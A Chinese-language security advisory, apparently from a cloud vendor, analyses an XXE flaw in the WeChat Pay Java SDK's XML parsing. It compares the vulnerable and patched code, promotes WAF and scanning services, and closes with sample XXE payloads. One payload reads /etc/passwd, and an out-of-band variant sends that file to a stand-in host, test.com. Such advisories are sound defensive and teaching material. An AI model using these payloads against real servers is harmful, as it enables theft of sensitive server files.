微信支付SDK XXE漏洞简单分析

微信支付商户端Java SDK XXE漏洞说明

0x00 漏洞影响

影响面

微信支付过程中,商家的服务器需要和微信的服务器进行通讯,需要等待微信服务器通知商家交易完成,比如流水等信息,商家提供的这样接口我们称之为微信回调接口。微信官方为了简化开发门槛,提供了JAVA和PHP的SDK。很不幸,JAVA SDK在近日曝出有重大安全问题。 因此使用了该SDK的服务器,都可能被黑客攻击,造成远程命令执行,敏感信息窃取等,此漏洞属于高危级别,请尽快修复。

修复方案

下载并使用最新的JAVA SDK。https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

0x01 华为云配套服务

华为云Web应用防火墙

华为云WAF是客户网站和访问者之间一道安全检测卫士,它能够将恶意攻击有效的拦截在客户网站之外。华为云WAF默认支持XXE漏洞攻击的防御拦截。如果有客户来不及修复代码,升级到最新版本,请及时开启WAF防护。

漏洞扫描服务

华为漏洞扫描服务提供了该漏洞的快速一键检测功能,帮助用户检测业务是否受影响。华为云漏洞扫描服务所采用的安全测试用例都是经过精心筛选,对客户的网站和服务器都是没有攻击性。

0x02 漏洞分析

源码讲解

鉴于微信支付官方的github仓库(https://github.com/wxpay/WXPay-SDK-Java)已经删除了,:(。我们就从其他方获取到旧版本的代码,进行对比。 问题出在com.github.wxpay.sdk.WXPayUtil.java文件中,旧代码:

 /**
     * XML格式字符串转换为Map
     *
     * @param strXML XML字符串
     * @return XML数据转换后的Map
     * @throws Exception
     */
    public static Map<String, String> xmlToMap(String strXML) throws Exception {
        try {
            Map<String, String> data = new HashMap<String, String>();
            DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
            DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
            InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
            org.w3c.dom.Document doc = documentBuilder.parse(stream);
            doc.getDocumentElement().normalize();

            .........

    }

从代码看DocumentBuilder直接parse了外部输入的strXML。 修复后新版本的代码如下:

/**
     * XML格式字符串转换为Map
     *
     * @param strXML XML字符串
     * @return XML数据转换后的Map
     * @throws Exception
     */
    public static Map<String, String> xmlToMap(String strXML) throws Exception {
        try {
            Map<String, String> data = new HashMap<String, String>();
            DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
			documentBuilderFactory.setExpandEntityReferences(false);
			documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
            DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
            InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
            org.w3c.dom.Document doc = documentBuilder.parse(stream);
            doc.getDocumentElement().normalize();
            NodeList nodeList = doc.getDocumentElement().getChildNodes();
            for (int idx = 0; idx < nodeList.getLength(); ++idx) {
                Node node = nodeList.item(idx);
                if (node.getNodeType() == Node.ELEMENT_NODE) {
                    org.w3c.dom.Element element = (org.w3c.dom.Element) node;
                    data.put(element.getNodeName(), element.getTextContent());
                }
            }
            try {
                stream.close();
            } catch (Exception ex) {
                // do nothing
            }
            return data;
        } catch (Exception ex) {
            WXPayUtil.getLogger().warn("Invalid XML, can not convert to map. Error message: {}. XML content: {}", ex.getMessage(), strXML);
            throw ex;
        }

    }

新版代码中DocumentBuilderFactory多设置了两个属性,其中关闭实体引用和开启安全处理特性。

0x03 XXE漏洞

XXE的全称叫做XML外部实体注入攻击(XML eXternal Entity),它是利用XML允许引用外部实体的特点,将外部实体定义为敏感的文件,系统命令等高危操作,来对目标服务器进行攻击的手段。 XML外部实体的定义和使用的语法:

<!ENTITY 变量 SYSTEM "URI">
<name>&变量;</name>

当然还有一种就是应用外部的DTD,外部的DTD中定义实体

<!DOCTYPE 根元素 SYSTEM "URI">

常见攻击手段

窃取服务器文件

<!ENTITY aa SYSTEM "file:///etc/passwd">
<name>&aa;</name>

发送远程请求

<!DOCTYPE ANY [
	<!ENTITY % file SYSTEM "file:///etc/passwd">
	<!ENTITY % send SYSTEM "http://test.com/report/%file">
%send;
]>

0x04 参考

  1. seclists报告
  2. TSRC XXE文章
  3. 先知社区文章
标签// , ,